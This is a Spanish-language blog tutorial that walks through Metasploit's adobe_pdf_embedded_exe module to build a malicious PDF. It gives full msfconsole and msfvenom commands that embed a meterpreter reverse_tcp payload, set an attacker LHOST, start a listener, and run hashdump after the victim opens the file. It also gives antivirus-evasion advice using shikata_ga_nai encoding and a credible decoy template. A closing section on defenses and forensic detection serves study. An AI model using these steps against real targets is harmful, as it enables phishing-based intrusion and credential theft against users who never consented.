Los archivos PDF han sido históricamente uno de los vectores de ataque más efectivos en campañas de ingeniería social. La capacidad de incrustar ejecutables dentro de documentos PDF aparentemente legítimos convierte a este formato en una herramienta peligrosa cuando se combina con vulnerabilidades en los lectores PDF. El módulo adobe_pdf_embedded_exe de Metasploit automatiza este proceso, permitiendo generar documentos PDF maliciosos que ejecutan código arbitrario en el sistema de la víctima.
Cómo funciona el ataque
El módulo windows/fileformat/adobe_pdf_embedded_exe aprovecha la funcionalidad legítima de Adobe Reader que permite ejecutar archivos adjuntos dentro de un PDF. El proceso se divide en varias fases:
- Inyección — El módulo toma un PDF legítimo existente como plantilla y le incrusta un ejecutable (el payload) como un archivo adjunto.
- Ingeniería social — Al abrir el PDF, Adobe Reader muestra un cuadro de diálogo pidiendo permiso para ejecutar el archivo adjunto. El texto del diálogo puede personalizarse para engañar al usuario.
- Ejecución — Si el usuario acepta, el ejecutable se extrae a un directorio temporal y se ejecuta con los privilegios del usuario actual.
- Post-explotación — El payload establece una sesión Meterpreter (o la conexión configurada) de vuelta al atacante.
Descripción del módulo
Estos son los detalles técnicos del módulo en Metasploit:
Nombre: Adobe PDF Embedded EXE Social Engineering
Módulo: exploit/windows/fileformat/adobe_pdf_embedded_exe
Plataforma: Windows
Rango: Excellent
Objetivos: Adobe Reader v8.x, v9.x
Tipo: Ingeniería social (requiere interacción del usuario)A diferencia de exploits que aprovechan vulnerabilidades de corrupción de memoria, este módulo depende enteramente de la ingeniería social: necesita que el usuario acepte explícitamente ejecutar el archivo adjunto. Esto lo hace independiente de parches de seguridad específicos, ya que explota una funcionalidad legítima del lector PDF.
Generación del PDF malicioso
El proceso en Metasploit consiste en seleccionar el módulo, configurar un PDF legítimo como plantilla, elegir un payload y generar el archivo resultante:
# Iniciar Metasploit Framework
msfconsole
# Seleccionar el módulo
msf> use windows/fileformat/adobe_pdf_embedded_exe
# Ver las opciones disponibles
msf exploit(adobe_pdf_embedded_exe)> show options
# Configurar el PDF plantilla (un documento legítimo)
msf exploit(adobe_pdf_embedded_exe)> set INFILENAME /ruta/al/documento_legítimo.pdf
# Nombre del archivo PDF de salida
msf exploit(adobe_pdf_embedded_exe)> set FILENAME informe_trimestral.pdf
# Directorio de salida
msf exploit(adobe_pdf_embedded_exe)> set OUTPUTPATH /tmp/
# Configurar el payload
msf exploit(adobe_pdf_embedded_exe)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_pdf_embedded_exe)> set LHOST 192.168.1.100
msf exploit(adobe_pdf_embedded_exe)> set LPORT 4444
# Generar el PDF
msf exploit(adobe_pdf_embedded_exe)> exploitEl módulo parsea el PDF original, inyecta el payload como archivo adjunto embebido y genera un nuevo PDF que mantiene el contenido visual del documento original. Cuando la víctima lo abre, ve el documento legítimo pero Adobe Reader solicita permiso para ejecutar el archivo adjunto.
Configuración del listener
Antes de enviar el PDF a la víctima, es necesario configurar un handler que reciba la conexión inversa:
# Configurar el handler para recibir la conexión
msf> use exploit/multi/handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.1.100
msf exploit(handler)> set LPORT 4444
msf exploit(handler)> exploit -j
# Cuando la víctima abra el PDF y acepte el diálogo:
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.50:49152)
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdumpTécnicas de evasión antivirus
El PDF generado por defecto tiene una tasa de detección relativamente baja, pero puede mejorarse con técnicas adicionales:
- Encoders — Usar encoders como
shikata_ga_naicon múltiples iteraciones para ofuscar el payload:set EnableStageEncoding trueyset StageEncoder x86/shikata_ga_nai. - Ejecutable personalizado — En lugar del payload estándar de Metasploit, generar un ejecutable personalizado con
msfvenomy usar la opciónEXENAMEpara incrustarlo. - Plantilla legítima — Usar un PDF real con contenido relevante para el contexto del ataque aumenta la credibilidad.
- Firma digital — En ataques dirigidos, el PDF podría firmarse con un certificado (aunque esto añade complejidad).
# Generar un ejecutable personalizado con múltiples capas de encoding
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 \
-f exe -o /tmp/custom_payload.exe
# Usar el ejecutable personalizado en el módulo PDF
msf exploit(adobe_pdf_embedded_exe)> set EXENAME /tmp/custom_payload.exeContramedidas y defensa
Desde la perspectiva defensiva, existen múltiples capas de protección contra este tipo de ataques:
- Deshabilitar JavaScript en Adobe Reader — Editar > Preferencias > JavaScript > desmarcar "Habilitar JavaScript de Acrobat".
- Activar Protected Mode — Adobe Reader X y posteriores incluyen un sandbox que limita significativamente la capacidad de ejecutar código.
- Usar lectores PDF alternativos — Lectores como Evince, Okular o SumatraPDF no soportan las funcionalidades explotadas por este módulo.
- Políticas de grupo (GPO) — En entornos corporativos, configurar políticas que bloqueen la ejecución de archivos adjuntos en PDFs.
- Sandbox de documentos — Abrir PDFs de fuentes no confiables en un entorno aislado (VM, contenedor o servicio como Dangerzone).
- Detección en correo — Configurar el gateway de correo para analizar y desarmar adjuntos PDF (Content Disarm and Reconstruction).
- Formación de usuarios — Enseñar a los usuarios a no aceptar diálogos de ejecución inesperados al abrir documentos.
Detección forense
Para analizar un PDF sospechoso sin ejecutarlo, se pueden utilizar herramientas especializadas:
# Analizar la estructura del PDF con pdfid (Didier Stevens)
pdfid sospechoso.pdf
# Buscar objetos embebidos y streams sospechosos
pdf-parser --stats sospechoso.pdf
# Extraer JavaScript embebido
pdf-parser --type /JS sospechoso.pdf
# Analizar con peepdf (framework de análisis PDF)
peepdf -f sospechoso.pdf
# Verificar con YARA rules específicas para PDF maliciosos
yara pdf_malware.yar sospechoso.pdfLos indicadores clave a buscar son: objetos /Launch, /EmbeddedFile, streams codificados en /FlateDecode con contenido ejecutable, y referencias a /JavaScript o /OpenAction que disparen acciones automáticas al abrir el documento.
Este tipo de ataque sigue siendo relevante en campañas de spear-phishing dirigido, donde el atacante personaliza el documento para un objetivo específico. La mejor defensa combina controles técnicos (sandbox, CDR, endpoint protection) con concienciación del usuario.
:wq!
Comentarios